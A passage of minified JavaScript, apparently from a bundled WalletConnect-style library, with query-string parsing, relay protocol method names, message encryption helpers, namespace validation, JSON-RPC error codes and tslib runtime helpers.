void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[l(t,e),"[",i,"]"].join("")]:[...n,[l(t,e),"[",l(i,e),"]=",l(r,e)].join("")]};case"bracket":return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[l(t,e),"[]"].join("")]:[...n,[l(t,e),"[]=",l(r,e)].join("")];case"colon-list-separator":return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[l(t,e),":list="].join("")]:[...n,[l(t,e),":list=",l(r,e)].join("")];case"comma":case"separator":case"bracket-separator":{const t="bracket-separator"===e.arrayFormat?"[]=":"=";return n=>(r,i)=>void 0===i||e.skipNull&&null===i||e.skipEmptyString&&""===i?r:(i=null===i?"":i,0===r.length?[[l(n,e),t,l(i,e)].join("")]:[[r,l(i,e)].join(e.arrayFormatSeparator)])}default:return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,l(t,e)]:[...n,[l(t,e),"=",l(r,e)].join("")]}}function u(e){let t;switch(e.arrayFormat){case"index":return(e,n,r)=>{t=/\[(\d*)\]$/.exec(e),e=e.replace(/\[\d*\]$/,""),t?(void 0===r[e]&&(r[e]={}),r[e][t[1]]=n):r[e]=n};case"bracket":return(e,n,r)=>{t=/(\[\])$/.exec(e),e=e.replace(/\[\]$/,""),t?void 0!==r[e]?r[e]=[].concat(r[e],n):r[e]=[n]:r[e]=n};case"colon-list-separator":return(e,n,r)=>{t=/(:list)$/.exec(e),e=e.replace(/:list$/,""),t?void 0!==r[e]?r[e]=[].concat(r[e],n):r[e]=[n]:r[e]=n};case"comma":case"separator":return(t,n,r)=>{const i="string"==typeof n&&n.includes(e.arrayFormatSeparator),o="string"==typeof n&&!i&&f(n,e).includes(e.arrayFormatSeparator);n=o?f(n,e):n;const s=i||o?n.split(e.arrayFormatSeparator).map((t=>f(t,e))):null===n?n:f(n,e);r[t]=s};case"bracket-separator":return(t,n,r)=>{const i=/(\[\])$/.test(t);if(t=t.replace(/\[\]$/,""),!i)return void(r[t]=n&&f(n,e));const o=null===n?[]:n.split(e.arrayFormatSeparator).map((t=>f(t,e)));void 0!==r[t]?r[t]=[].concat(r[t],o):r[t]=o};default:return(e,t,n)=>{void 0!==n[e]?n[e]=[].concat(n[e],t):n[e]=t}}}function c(e){if("string"!=typeof e||1!==e.length)throw new TypeError("arrayFormatSeparator must be single character string")}function l(e,n){return n.encode?n.strict?t(e):encodeURIComponent(e):e}function f(e,t){return t.decode?n(e):e}function h(e){return Array.isArray(e)?e.sort():"object"==typeof e?h(Object.keys(e)).sort(((e,t)=>Number(e)-Number(t))).map((t=>e[t])):e}function d(e){const t=e.indexOf("#");return-1!==t&&(e=e.slice(0,t)),e}function p(e){let t="";const n=e.indexOf("#");return-1!==n&&(t=e.slice(n)),t}function g(e){const t=(e=d(e)).indexOf("?");return-1===t?"":e.slice(t+1)}function y(e,t){return t.parseNumbers&&!Number.isNaN(Number(e))&&"string"==typeof e&&""!==e.trim()?e=Number(e):t.parseBooleans&&null!==e&&("true"===e.toLowerCase()||"false"===e.toLowerCase())&&(e="true"===e.toLowerCase()),e}function v(e,t){c((t=Object.assign({decode:!0,sort:!0,arrayFormat:"none",arrayFormatSeparator:",",parseNumbers:!1,parseBooleans:!1},t)).arrayFormatSeparator);const n=u(t),i=Object.create(null);if("string"!=typeof e||!(e=e.trim().replace(/^[?#&]/,"")))return i;for(const o of e.split("&")){if(""===o)continue;let[e,s]=r(t.decode?o.replace(/\+/g," "):o,"=");s=void 0===s?null:["comma","separator","bracket-separator"].includes(t.arrayFormat)?s:f(s,t),n(f(e,t),s,i)}for(const e of Object.keys(i)){const n=i[e];if("object"==typeof n&&null!==n)for(const e of Object.keys(n))n[e]=y(n[e],t);else i[e]=y(n,t)}return!1===t.sort?i:(!0===t.sort?Object.keys(i).sort():Object.keys(i).sort(t.sort)).reduce(((e,t)=>{const n=i[t];return n&&"object"==typeof n&&!Array.isArray(n)?e[t]=h(n):e[t]=n,e}),Object.create(null))}e.extract=g,e.parse=v,e.stringify=(e,t)=>{if(!e)return"";c((t=Object.assign({encode:!0,strict:!0,arrayFormat:"none",arrayFormatSeparator:","},t)).arrayFormatSeparator);const n=n=>t.skipNull&&o(e[n])||t.skipEmptyString&&""===e[n],r=a(t),i={};for(const t of Object.keys(e))n(t)||(i[t]=e[t]);const s=Object.keys(i);return!1!==t.sort&&s.sort(t.sort),s.map((n=>{const i=e[n];return void 0===i?"":null===i?l(n,t):Array.isArray(i)?0===i.length&&"bracket-separator"===t.arrayFormat?l(n,t)+"[]":i.reduce(r(n),[]).join("&"):l(n,t)+"="+l(i,t)})).filter((e=>e.length>0)).join("&")},e.parseUrl=(e,t)=>{t=Object.assign({decode:!0},t);const[n,i]=r(e,"#");return Object.assign({url:n.split("?")[0]||"",query:v(g(e),t)},t&&t.parseFragmentIdentifier&&i?{fragmentIdentifier:f(i,t)}:{})},e.stringifyUrl=(t,n)=>{n=Object.assign({encode:!0,strict:!0,[s]:!0},n);const r=d(t.url).split("?")[0]||"",i=e.extract(t.url),o=e.parse(i,{sort:!1}),a=Object.assign(o,t.query);let u=e.stringify(a,n);u&&(u=`?${u}`);let c=p(t.url);return t.fragmentIdentifier&&(c=`#${n[s]?l(t.fragmentIdentifier,n):t.fragmentIdentifier}`),`${r}${u}${c}`},e.pick=(t,n,r)=>{r=Object.assign({parseFragmentIdentifier:!0,[s]:!1},r);const{url:o,query:a,fragmentIdentifier:u}=e.parseUrl(t,r);return e.stringifyUrl({url:o,query:i(a,n),fragmentIdentifier:u},r)},e.exclude=(t,n,r)=>{const i=Array.isArray(n)?e=>!n.includes(e):(e,t)=>!n(e,t);return e.pick(t,i,r)}}(xa);const ja={waku:{publish:"waku_publish",batchPublish:"waku_batchPublish",subscribe:"waku_subscribe",batchSubscribe:"waku_batchSubscribe",subscription:"waku_subscription",unsubscribe:"waku_unsubscribe",batchUnsubscribe:"waku_batchUnsubscribe"},irn:{publish:"irn_publish",batchPublish:"irn_batchPublish",subscribe:"irn_subscribe",batchSubscribe:"irn_batchSubscribe",subscription:"irn_subscription",unsubscribe:"irn_unsubscribe",batchUnsubscribe:"irn_batchUnsubscribe"},iridium:{publish:"iridium_publish",batchPublish:"iridium_batchPublish",subscribe:"iridium_subscribe",batchSubscribe:"iridium_batchSubscribe",subscription:"iridium_subscription",unsubscribe:"iridium_unsubscribe",batchUnsubscribe:"iridium_batchUnsubscribe"}};function Ua(e,t){return e.includes(":")?[e]:t.chains||[]}const Da="base10",za="base16",Fa="base64pad",Ba="utf8",Ha=0,qa=1,Va=0,$a=1,Wa=12,Ka=32;function Ga(){const e=Hs.generateKeyPair();return{privateKey:is(e.secretKey,za),publicKey:is(e.publicKey,za)}}function Ya(){return is(ur.randomBytes(Ka),za)}function Qa(e,t){const n=Hs.sharedKey(os(e,za),os(t,za));return is(new Fs(Bs.SHA256,n).expand(Ka),za)}function Ja(e){return is(Bs.hash(os(e,za)),za)}function Xa(e){return is(Bs.hash(os(e,Ba)),za)}function Za(e){return os(`${e}`,Da)}function eu(e){return Number(is(e,Da))}function tu(e){const t=Za(typeof e.type<"u"?e.type:Ha);if(eu(t)===qa&&typeof e.senderPublicKey>"u")throw new Error("Missing sender public key for type 1 envelope");const n=typeof e.senderPublicKey<"u"?os(e.senderPublicKey,za):void 0,r=typeof e.iv<"u"?os(e.iv,za):ur.randomBytes(Wa);return ru({type:t,sealed:new ds.ChaCha20Poly1305(os(e.symKey,za)).seal(r,os(e.message,Ba)),iv:r,senderPublicKey:n})}function nu(e){const t=new ds.ChaCha20Poly1305(os(e.symKey,za)),{sealed:n,iv:r}=iu(e.encoded),i=t.open(r,n);if(null===i)throw new Error("Failed to decrypt");return is(i,Ba)}function ru(e){if(eu(e.type)===qa){if(typeof e.senderPublicKey>"u")throw new Error("Missing sender public key for type 1 envelope");return is(_i([e.type,e.senderPublicKey,e.iv,e.sealed]),Fa)}return is(_i([e.type,e.iv,e.sealed]),Fa)}function iu(e){const t=os(e,Fa),n=t.slice(Va,$a),r=$a;if(eu(n)===qa){const e=r+Ka,i=e+Wa,o=t.slice(r,e),s=t.slice(e,i);return{type:n,sealed:t.slice(i),iv:s,senderPublicKey:o}}const i=r+Wa,o=t.slice(r,i);return{type:n,sealed:t.slice(i),iv:o}}function ou(e,t){const n=iu(e);return su({type:eu(n.type),senderPublicKey:typeof n.senderPublicKey<"u"?is(n.senderPublicKey,za):void 0,receiverPublicKey:t?.receiverPublicKey})}function su(e){const t=e?.type||Ha;if(t===qa){if(typeof e?.senderPublicKey>"u")throw new Error("missing sender public key");if(typeof e?.receiverPublicKey>"u")throw new Error("missing receiver public key")}return{type:t,senderPublicKey:e?.senderPublicKey,receiverPublicKey:e?.receiverPublicKey}}function au(e){return e.type===qa&&"string"==typeof e.senderPublicKey&&"string"==typeof e.receiverPublicKey}var uu=Object.defineProperty,cu=Object.getOwnPropertySymbols,lu=Object.prototype.hasOwnProperty,fu=Object.prototype.propertyIsEnumerable,hu=(e,t,n)=>t in e?uu(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,du=(e,t)=>{for(var n in t||(t={}))lu.call(t,n)&&hu(e,n,t[n]);if(cu)for(var n of cu(t))fu.call(t,n)&&hu(e,n,t[n]);return e};const pu="ReactNative",gu={reactNative:"react-native",node:"node",browser:"browser",unknown:"unknown"},yu="js";function vu(){return typeof process<"u"&&typeof process.versions<"u"&&typeof process.versions.node<"u"}function mu(){return!la()&&!!da()&&navigator.product===pu}function _u(){return!vu()&&!!da()}function bu(){return mu()?gu.reactNative:vu()?gu.node:_u()?gu.browser:gu.unknown}function wu(e,t){let n=xa.parse(e);return n=du(du({},n),t),e=xa.stringify(n)}function Eu(){return Ea()||{name:"",description:"",url:"",icons:[""]}}function Su(){if(bu()===gu.reactNative&&typeof l<"u"&&typeof(null==l?void 0:l.Platform)<"u"){const{OS:e,Version:t}=l.Platform;return[e,t].join("-")}const e=Zs();if(null===e)return"unknown";const t=e.os?e.os.replace(" ","").toLowerCase():"unknown";return"browser"===e.type?[t,e.name,e.version].join("-"):[t,e.version].join("-")}function Ou(){var e;const t=bu();return t===gu.browser?[t,(null==(e=ya())?void 0:e.host)||"unknown"].join(":"):t}function xu(e,t,n){const r=Su(),i=Ou();return[[e,t].join("-"),[yu,n].join("-"),r,i].join("/")}function Iu({protocol:e,version:t,relayUrl:n,sdkVersion:r,auth:i,projectId:o,useOnCloseEvent:s}){const a=n.split("?"),u={auth:i,ua:xu(e,t,r),projectId:o,useOnCloseEvent:s||void 0},c=wu(a[1]||"",u);return a[0]+"?"+c}function Ru(e,t){return e.filter((e=>t.includes(e))).length===e.length}function ku(e){return Object.fromEntries(e.entries())}function Cu(e){return new Map(Object.entries(e))}function Pu(e=We.FIVE_MINUTES,t){const n=We.toMiliseconds(e||We.FIVE_MINUTES);let r,i,o;return{resolve:e=>{o&&r&&(clearTimeout(o),r(e))},reject:e=>{o&&i&&(clearTimeout(o),i(e))},done:()=>new Promise(((e,s)=>{o=setTimeout((()=>{s(new Error(t))}),n),r=e,i=s}))}}function Au(e,t,n){return new Promise((async(r,i)=>{const o=setTimeout((()=>i(new Error(n))),t);try{r(await e)}catch(e){i(e)}clearTimeout(o)}))}function Nu(e,t){if("string"==typeof t&&t.startsWith(`${e}:`))return t;if("topic"===e.toLowerCase()){if("string"!=typeof t)throw new Error('Value must be "string" for expirer target type: topic');return`topic:${t}`}if("id"===e.toLowerCase()){if("number"!=typeof t)throw new Error('Value must be "number" for expirer target type: id');return`id:${t}`}throw new Error(`Unknown expirer target type: ${e}`)}function Tu(e){return Nu("topic",e)}function Mu(e){return Nu("id",e)}function Lu(e){const[t,n]=e.split(":"),r={id:void 0,topic:void 0};if("topic"===t&&"string"==typeof n)r.topic=n;else{if("id"!==t||!Number.isInteger(Number(n)))throw new Error(`Invalid target, expected id:number or topic:string, got ${t}:${n}`);r.id=Number(n)}return r}function ju(e,t){return We.fromMiliseconds((t||Date.now())+We.toMiliseconds(e))}function Uu(e){return Date.now()>=We.toMiliseconds(e)}function Du(e,t){return`${e}${t?`:${t}`:""}`}function zu(e=[],t=[]){return[...new Set([...e,...t])]}async function Fu({id:e,topic:t,wcDeepLink:n}){try{if(!n)return;const r="string"==typeof n?JSON.parse(n):n;let i=r?.href;if("string"!=typeof i)return;i.endsWith("/")&&(i=i.slice(0,-1));const o=`${i}/wc?requestId=${e}&sessionTopic=${t}`,s=bu();s===gu.browser?o.startsWith("https://")?window.open(o,"_blank","noreferrer noopener"):window.open(o,"_self","noreferrer noopener"):s===gu.reactNative&&typeof(null==l?void 0:l.Linking)<"u"&&await l.Linking.openURL(o)}catch(e){console.error(e)}}const Bu="irn";function Hu(e){return e?.relay||{protocol:Bu}}function qu(e){const t=ja[e];if(typeof t>"u")throw new Error(`Relay Protocol not supported: ${e}`);return t}var Vu=Object.defineProperty,$u=Object.getOwnPropertySymbols,Wu=Object.prototype.hasOwnProperty,Ku=Object.prototype.propertyIsEnumerable,Gu=(e,t,n)=>t in e?Vu(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Yu=(e,t)=>{for(var n in t||(t={}))Wu.call(t,n)&&Gu(e,n,t[n]);if($u)for(var n of $u(t))Ku.call(t,n)&&Gu(e,n,t[n]);return e};function Qu(e,t="-"){const n={},r="relay"+t;return Object.keys(e).forEach((t=>{if(t.startsWith(r)){const i=t.replace(r,""),o=e[t];n[i]=o}})),n}function Ju(e){const t=e.indexOf(":"),n=-1!==e.indexOf("?")?e.indexOf("?"):void 0,r=e.substring(0,t),i=e.substring(t+1,n).split("@"),o=typeof n<"u"?e.substring(n):"",s=xa.parse(o);return{protocol:r,topic:Xu(i[0]),version:parseInt(i[1],10),symKey:s.symKey,relay:Qu(s)}}function Xu(e){return e.startsWith("//")?e.substring(2):e}function Zu(e,t="-"){const n="relay",r={};return Object.keys(e).forEach((i=>{const o=n+t+i;e[i]&&(r[o]=e[i])})),r}function ec(e){return`${e.protocol}:${e.topic}@${e.version}?`+xa.stringify(Yu({symKey:e.symKey},Zu(e.relay)))}function tc(e){const t=[];return e.forEach((e=>{const[n,r]=e.split(":");t.push(`${n}:${r}`)})),t}function nc(e){const t=[];return Object.values(e).forEach((e=>{t.push(...tc(e.accounts))})),t}function rc(e,t){const n=[];return Object.values(e).forEach((e=>{tc(e.accounts).includes(t)&&n.push(...e.methods)})),n}function ic(e,t){const n=[];return Object.values(e).forEach((e=>{tc(e.accounts).includes(t)&&n.push(...e.events)})),n}function oc(e,t){const n=Mc(e,t);if(n)throw new Error(n.message);const r={};for(const[t,n]of Object.entries(e))r[t]={methods:n.methods,events:n.events,chains:n.accounts.map((e=>`${e.split(":")[0]}:${e.split(":")[1]}`))};return r}function sc(e){return e.includes(":")}function ac(e){return sc(e)?e.split(":")[0]:e}const uc={INVALID_METHOD:{message:"Invalid method.",code:1001},INVALID_EVENT:{message:"Invalid event.",code:1002},INVALID_UPDATE_REQUEST:{message:"Invalid update request.",code:1003},INVALID_EXTEND_REQUEST:{message:"Invalid extend request.",code:1004},INVALID_SESSION_SETTLE_REQUEST:{message:"Invalid session settle request.",code:1005},UNAUTHORIZED_METHOD:{message:"Unauthorized method.",code:3001},UNAUTHORIZED_EVENT:{message:"Unauthorized event.",code:3002},UNAUTHORIZED_UPDATE_REQUEST:{message:"Unauthorized update request.",code:3003},UNAUTHORIZED_EXTEND_REQUEST:{message:"Unauthorized extend request.",code:3004},USER_REJECTED:{message:"User rejected.",code:5e3},USER_REJECTED_CHAINS:{message:"User rejected chains.",code:5001},USER_REJECTED_METHODS:{message:"User rejected methods.",code:5002},USER_REJECTED_EVENTS:{message:"User rejected events.",code:5003},UNSUPPORTED_CHAINS:{message:"Unsupported chains.",code:5100},UNSUPPORTED_METHODS:{message:"Unsupported methods.",code:5101},UNSUPPORTED_EVENTS:{message:"Unsupported events.",code:5102},UNSUPPORTED_ACCOUNTS:{message:"Unsupported accounts.",code:5103},UNSUPPORTED_NAMESPACE_KEY:{message:"Unsupported namespace key.",code:5104},USER_DISCONNECTED:{message:"User disconnected.",code:6e3},SESSION_SETTLEMENT_FAILED:{message:"Session settlement failed.",code:7e3},WC_METHOD_UNSUPPORTED:{message:"Unsupported wc_ method.",code:10001}},cc={NOT_INITIALIZED:{message:"Not initialized.",code:1},NO_MATCHING_KEY:{message:"No matching key.",code:2},RESTORE_WILL_OVERRIDE:{message:"Restore will override.",code:3},RESUBSCRIBED:{message:"Resubscribed.",code:4},MISSING_OR_INVALID:{message:"Missing or invalid.",code:5},EXPIRED:{message:"Expired.",code:6},UNKNOWN_TYPE:{message:"Unknown type.",code:7},MISMATCHED_TOPIC:{message:"Mismatched topic.",code:8},NON_CONFORMING_NAMESPACES:{message:"Non conforming namespaces.",code:9}};function lc(e,t){const{message:n,code:r}=cc[e];return{message:t?`${n} ${t}`:n,code:r}}function fc(e,t){const{message:n,code:r}=uc[e];return{message:t?`${n} ${t}`:n,code:r}}function hc(e,t){return!!Array.isArray(e)&&(!(typeof t<"u"&&e.length)||e.every(t))}function dc(e){return Object.getPrototypeOf(e)===Object.prototype&&Object.keys(e).length}function pc(e){return typeof e>"u"}function gc(e,t){return!(!t||!pc(e))||"string"==typeof e&&!!e.trim().length}function yc(e,t){return!(!t||!pc(e))||"number"==typeof e&&!isNaN(e)}function vc(e,t){const{requiredNamespaces:n}=t,r=Object.keys(e.namespaces),i=Object.keys(n);let o=!0;return!!Ru(i,r)&&(r.forEach((t=>{const{accounts:r,methods:i,events:s}=e.namespaces[t],a=tc(r),u=n[t];Ru(Ua(t,u),a)&&Ru(u.methods,i)&&Ru(u.events,s)||(o=!1)})),o)}function mc(e){return!(!gc(e,!1)||!e.includes(":"))&&2===e.split(":").length}function _c(e){if(gc(e,!1)&&e.includes(":")){const t=e.split(":");if(3===t.length){const e=t[0]+":"+t[1];return!!t[2]&&mc(e)}}return!1}function bc(e){if(gc(e,!1))try{return typeof new URL(e)<"u"}catch{return!1}return!1}function wc(e){var t;return null==(t=e?.proposer)?void 0:t.publicKey}function Ec(e){return e?.topic}function Sc(e,t){let n=null;return gc(e?.publicKey,!1)||(n=lc("MISSING_OR_INVALID",`${t} controller public key should be a string`)),n}function Oc(e){let t=!0;return hc(e)?e.length&&(t=e.every((e=>gc(e,!1)))):t=!1,t}function xc(e,t,n){let r=null;return hc(t)&&t.length?t.forEach((e=>{r||mc(e)||(r=fc("UNSUPPORTED_CHAINS",`${n}, chain ${e} should be a string and conform to "namespace:chainId" format`))})):mc(e)||(r=fc("UNSUPPORTED_CHAINS",`${n}, chains must be defined as "namespace:chainId" e.g. "eip155:1": {...} in the namespace key OR as an array of CAIP-2 chainIds e.g. eip155: { chains: ["eip155:1", "eip155:5"] }`)),r}function Ic(e,t,n){let r=null;return Object.entries(e).forEach((([e,i])=>{if(r)return;const o=xc(e,Ua(e,i),`${t} ${n}`);o&&(r=o)})),r}function Cc(e,t){let n=null;return hc(e)?e.forEach((e=>{n||_c(e)||(n=fc("UNSUPPORTED_ACCOUNTS",`${t}, account ${e} should be a string and conform to "namespace:chainId:address" format`))})):n=fc("UNSUPPORTED_ACCOUNTS",`${t}, accounts should be an array of strings conforming to "namespace:chainId:address" format`),n}function Pc(e,t){let n=null;return Object.values(e).forEach((e=>{if(n)return;const r=Cc(e?.accounts,`${t} namespace`);r&&(n=r)})),n}function Ac(e,t){let n=null;return Oc(e?.methods)?Oc(e?.events)||(n=fc("UNSUPPORTED_EVENTS",`${t}, events should be an array of strings or empty array for no events`)):n=fc("UNSUPPORTED_METHODS",`${t}, methods should be an array of strings or empty array for no methods`),n}function Nc(e,t){let n=null;return Object.values(e).forEach((e=>{if(n)return;const r=Ac(e,`${t}, namespace`);r&&(n=r)})),n}function Tc(e,t,n){let r=null;if(e&&dc(e)){const i=Nc(e,t);i&&(r=i);const o=Ic(e,t,n);o&&(r=o)}else r=lc("MISSING_OR_INVALID",`${t}, ${n} should be an object with data`);return r}function Mc(e,t){let n=null;if(e&&dc(e)){const r=Nc(e,t);r&&(n=r);const i=Pc(e,t);i&&(n=i)}else n=lc("MISSING_OR_INVALID",`${t}, namespaces should be an object with data`);return n}function Lc(e){return gc(e.protocol,!0)}function jc(e,t){let n=!1;return t&&!e?n=!0:e&&hc(e)&&e.length&&e.forEach((e=>{n=Lc(e)})),n}function Uc(e){return"number"==typeof e}function Dc(e){return typeof e<"u"&&null!==typeof e}function zc(e){return!!(e&&"object"==typeof e&&e.code&&yc(e.code,!1)&&e.message&&gc(e.message,!1))}function Fc(e){return!(pc(e)||!gc(e.method,!1))}function Bc(e){return!(pc(e)||pc(e.result)&&pc(e.error)||!yc(e.id,!1)||!gc(e.jsonrpc,!1))}function Hc(e){return!(pc(e)||!gc(e.name,!1))}function qc(e,t){return!(!mc(t)||!nc(e).includes(t))}function Vc(e,t,n){return!!gc(n,!1)&&rc(e,t).includes(n)}function $c(e,t,n){return!!gc(n,!1)&&ic(e,t).includes(n)}function Wc(e,t,n){let r=null;const i=Kc(e),o=Yc(t),s=Object.keys(i),a=Object.keys(o),u=Gc(Object.keys(e)),c=Gc(Object.keys(t)),l=u.filter((e=>!c.includes(e)));return l.length&&(r=lc("NON_CONFORMING_NAMESPACES",`${n} namespaces keys don't satisfy requiredNamespaces.\n Required: ${l.toString()}\n Received: ${Object.keys(t).toString()}`)),Ru(s,a)||(r=lc("NON_CONFORMING_NAMESPACES",`${n} namespaces chains don't satisfy required namespaces.\n Required: ${s.toString()}\n Approved: ${a.toString()}`)),Object.keys(t).forEach((e=>{if(!e.includes(":")||r)return;const i=tc(t[e].accounts);i.includes(e)||(r=lc("NON_CONFORMING_NAMESPACES",`${n} namespaces accounts don't satisfy namespace accounts for ${e}\n Required: ${e}\n Approved: ${i.toString()}`))})),s.forEach((e=>{r||(Ru(i[e].methods,o[e].methods)?Ru(i[e].events,o[e].events)||(r=lc("NON_CONFORMING_NAMESPACES",`${n} namespaces events don't satisfy namespace events for ${e}`)):r=lc("NON_CONFORMING_NAMESPACES",`${n} namespaces methods don't satisfy namespace methods for ${e}`))})),r}function Kc(e){const t={};return Object.keys(e).forEach((n=>{var r;n.includes(":")?t[n]=e[n]:null==(r=e[n].chains)||r.forEach((r=>{t[r]={methods:e[n].methods,events:e[n].events}}))})),t}function Gc(e){return[...new Set(e.map((e=>e.includes(":")?e.split(":")[0]:e)))]}function Yc(e){const t={};return Object.keys(e).forEach((n=>{if(n.includes(":"))t[n]=e[n];else{const r=tc(e[n].accounts);r?.forEach((r=>{t[r]={accounts:e[n].accounts.filter((e=>e.includes(`${r}:`))),methods:e[n].methods,events:e[n].events}}))}})),t}function Qc(e,t){return yc(e,!1)&&e<=t.max&&e>=t.min}const Jc="INTERNAL_ERROR",Xc="SERVER_ERROR",Zc=[-32700,-32600,-32601,-32602,-32603],el={PARSE_ERROR:{code:-32700,message:"Parse error"},INVALID_REQUEST:{code:-32600,message:"Invalid Request"},METHOD_NOT_FOUND:{code:-32601,message:"Method not found"},INVALID_PARAMS:{code:-32602,message:"Invalid params"},[Jc]:{code:-32603,message:"Internal error"},[Xc]:{code:-32e3,message:"Server error"}},tl=Xc;function nl(e){return Zc.includes(e)}function rl(e){return Object.keys(el).includes(e)?el[e]:el[tl]}function il(e){const t=Object.values(el).find((t=>t.code===e));return t||el[tl]}function ol(e,t,n){return e.message.includes("getaddrinfo ENOTFOUND")||e.message.includes("connect ECONNREFUSED")?new Error(`Unavailable ${n} RPC url at ${t}`):e}var sl={},al=function(e,t){return al=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},al(e,t)};
308
- /*! *****************************************************************************
309
- Copyright (c) Microsoft Corporation.
310
-
311
- Permission to use, copy, modify, and/or distribute this software for any
312
- purpose with or without fee is hereby granted.
313
-
314
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
315
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
316
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
317
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
318
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
319
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
320
- PERFORMANCE OF THIS SOFTWARE.
321
- ***************************************************************************** */function ul(e,t){function n(){this.constructor=e}al(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var cl=function(){return cl=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},cl.apply(this,arguments)};function ll(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n}function fl(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s}function hl(e,t){return function(n,r){t(n,r,e)}}function dl(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)}function pl(e,t,n,r){function i(e){return e instanceof n?e:new n((function(t){t(e)}))}return new(n||(n=Promise))((function(n,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){e.done?n(e.value):i(e.value).then(s,a)}u((r=r.apply(e,t||[])).next())}))}function gl(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(e){return function(t){return u([e,t])}}function u(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=(i=s.trys).length>0&&i[i.length-1])&&(6===o[0]||2===o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}}function yl(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}function vl(e,t){for(var n in e)"default"!==n&&!t.hasOwnProperty(n)&&(t[n]=e[n])}function ml(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function _l(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function bl(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(_l(arguments[t]));return e}function wl(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r}function El(e){return this instanceof El?(this.v=e,this):new El(e)}function Sl(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{u(i[e](t))}catch(e){f(o[0][3],e)}}function u(e){e.value instanceof El?Promise.resolve(e.value.v).then(c,l):f(o[0][2],e)}function c(e){a("next",e)}function l(e){a("throw",e)}function f(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}}function Ol(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:El(e[r](t)),done:"return"===r}:i?i(t):t}:i}}function xl(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var 